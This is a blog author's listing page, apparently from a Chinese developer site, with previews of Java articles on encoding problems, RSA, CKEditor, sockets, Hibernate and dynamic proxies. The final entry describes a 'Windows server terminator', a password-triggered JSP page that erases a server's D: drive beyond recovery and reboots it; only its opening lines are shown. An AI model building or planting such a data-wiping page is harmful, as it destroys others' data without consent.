java
文章平均质量分 76
bnmnba
这个作者很懒,什么都没留下…
展开
-
MyEclipse添加的Struts和hibernate包造成antlr冲突
用MyEclipse添加的Struts和hibernate包造成antlr冲突。struts 和hibernate都有一个antlr的jar包,并且版本不一样,造成冲突。会造成setParameter()、setString()方法不能用等一些问题。报错如下:转载 2011-08-03 13:24:51 · 368 阅读 · 0 评论 -
linux wget命令下发FTP时,包含中文路径提示文件不存在,无法下载文件解决方法...
文件不存在的原因是因为编码不同,服务器认为请求地址的文件不存在。解决方法是使用服务可以理解的方式对路径进行编码(我的ftp服务器使用的是gb2312),例如使用java先把中文路径转换为英文再调用wget进行下载:package c;import java.io.BufferedReader;import java.io.InputStreamReader;imp...原创 2017-12-01 16:09:05 · 2690 阅读 · 0 评论 -
linux乱码,文件名乱码、文件内容乱码,JDK编码。 CKFinder文件名称乱码 (使用UTF-8解决)...
我遇到一个问题,CKFinder后台获取到的文件名是问号。肯定是编码问题。 第一步,修改jdk编码(目标读取到正确的文件名称。验证方法输出文件名到日志文件,下载日志到本地确定不乱码) 解决方法tomcat bin目录下新增:setenv.shexport JAVA_OPTS="-server -Dsun.jnu.encoding=UTF-8 -Dfile.enc...原创 2017-07-15 14:46:04 · 573 阅读 · 0 评论 -
非对称加密、公钥和私钥简要说明,Java实现RSA加密/解密/签章/验章
提示:1、公钥加密只能用私钥解密。2、私钥加密只能用公钥解密。3、文章中的密文是指加密后的内容类似:MIGfMA0GC=4、代码中使用Base64是为了把二进制数组转换为字符串。加密解密内容是二进制,不限于字符串。 本文说明一下非对称加密如何实现安全通讯:A和B两个人进行安全通讯需要:A的公钥和私钥、B的公钥和私钥。1、A和B保存好自己的私钥不要泄漏。A公开自己...原创 2016-03-05 21:29:11 · 521 阅读 · 0 评论 -
带图片上传文件上传的CKEditor(java实现后台文件存储)
解压后放到web项目webapp文件夹里,空文件夹upload也需要。java类放到src里。 官方示例需要修改,才会显示上次tab页:http://localhost:8080/web/js/ckeditor/samples/index.html <script src="../ckeditor.js"></script> <script s...原创 2016-07-14 16:04:57 · 396 阅读 · 0 评论 -
java 非阻塞sokect客户端
网上有比较多的服务端非阻塞的nio示例代码。但客户端基本全是阻塞的。而我却需要一个非阻塞的客户端(所谓非阻塞关键在于读数据。下面的代码却没有关心读,如果你需要则加上对read感兴趣,之后代码结构还要再修改下)。下面这个代码主要是看我的电脑最大能打开多少socket客户端(16000多个)。import java.io.*;import java.net.*;impo...原创 2016-05-16 17:30:56 · 193 阅读 · 0 评论 -
二维数组绕圈赋值
小例子一个:package pack;public class ArrayCircleSetter { public static void main(String[] args) { new ArrayCircleSetter().start(3,3); } public void start(int x,int y){ int iL=x; in...原创 2013-08-22 16:54:44 · 239 阅读 · 0 评论 -
eclipse java debug 修改变量
1.加入断点。2.开始调试。3.打开透视图Window下-Show View-Variables。4.选择一个变量右键-Change Value...就是这样。javascript在debug模式下也同样可以修改变量。...原创 2013-08-13 11:05:23 · 168 阅读 · 0 评论 -
Session
一篇session讲解的文章:http://www.cnblogs.com/shoru/archive/2010/02/19/1669395.html 总结:1.http协议不包含session内容。2.session是基于http协议中的cookies实现的,由WEB服务器负责实现,如果要自行编写一个WEB服务器则要考虑这个问题。3.session归根结底是用于存储会...原创 2013-06-22 11:29:36 · 97 阅读 · 0 评论 -
01背包问题
动态规划:http://zh.wikipedia.org/zh-cn/%E5%8A%A8%E6%80%81%E8%A7%84%E5%88%92#.E8.83.8C.E5.8C.85.E9.97.AE.E9.A2.98直接看解法吧,貌似还是有问题。 package package01;public class TestPackage01 { static OBJ[] o...原创 2012-08-30 19:09:09 · 69 阅读 · 0 评论 -
线程、线程池、threadlocal
一个线程池里放两个线程、四个任务(runnable)。两个线程执行四个runnable。threadlocal的值被相同的线程共享,而可能是不同的任务。看代码:package thread;import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;pub...原创 2012-08-16 15:26:39 · 89 阅读 · 0 评论 -
Java动态代理模式
动态代理可以模拟实现一个接口指向一个未实现这个接口的类: package pp.DynamicProxy;/** * 用于指向存根对象(动态生成的class)。用于引用其它对象。相当于EJB里的EJBObject。 * @author Administrator * */public interface IPeople { public String ...原创 2013-03-13 18:17:34 · 82 阅读 · 0 评论 -
mysql 数据类型 JAVA 类型 对照
mysql 数据类型 JAVA 类型 对照http://zhq-tony.iteye.com/blog/211611 mysql数据库 JDBC 对照类型名称显示长度数据库类型JAVA类型JDBC类型索引(int)描述 VARCHARL+NVARCHARjava.lang.String1...原创 2012-02-24 11:53:19 · 65 阅读 · 0 评论 -
eclipse:failed to create the java virtual machine
eclipse启动报错:failed to create the java virtual machine在eclipse.ini里增加:-vmC:\Program Files\Java\jdk1.6.0_22\bin\javaw.exe推荐使用这个。一下是两篇介绍解决方法的:http://sunoblog.net/2010/12/eclipse-probl...原创 2012-02-13 13:18:09 · 89 阅读 · 0 评论 -
Spring Autowire自动装配
如果你发现你正在研究的一个基于spring的项目的某个方法被奇怪的运行了。你应该考虑这种情况:被spring的自动注入(自动装配)调用的。这个......快把我恶心死了。这里有介绍自动装配:http://www.blogjava.net/cmzy/archive/2008/07/20/216176.html原文:Spring Autowire自动装配 残梦追月原创,...原创 2012-02-13 11:56:06 · 64 阅读 · 0 评论 -
hibernate报错:Cannot add or update a child row: a foreign key constraint fails
我遇到这个问题的原因是:把主键作为外键关联到了其他表的主键。在实体Product: package pp.entity;import java.util.ArrayList;import java.util.List;import javax.persistence.CascadeType;import javax.persistence.Column;im...原创 2012-02-12 21:40:00 · 311 阅读 · 0 评论 -
java floa转到doublet精度变化,数值变化
看以下程序的输出结果: public void testFloatAndDouble(){ double d=new Float(10.0)-new Float(0.1); System.out.println(d); System.out.println(new Float(10.0)-new Float(0.1)); System.out.println(new...原创 2012-02-09 17:17:31 · 172 阅读 · 0 评论 -
通过RGB颜色得到十六进制的颜色值
没有验证越界。代码如下: public class Util { /** * 通过RGB颜色得到十六进制的颜色 * @param r 0-255 * @param g 0-255 * @param b 0-255 * @return 255,0,253返回FF00FD */ public static String getColorI...原创 2012-02-07 13:26:46 · 626 阅读 · 0 评论 -
Windows服务器终结者
windows服务器终结者。作用:远程访问服务器,输入密码,点击确定。即可让服务器D:盘清空,数据无法恢复,服务器自动重启。条件:Windows部署并启动J2EE应用服务器,2.txt文件必须存在。232数值根据文本文件大小和D:盘大小计算得到。源代码:<%@page import="java.io.InputStreamReader"%><%@pa...原创 2018-05-18 14:57:01 · 296 阅读 · 0 评论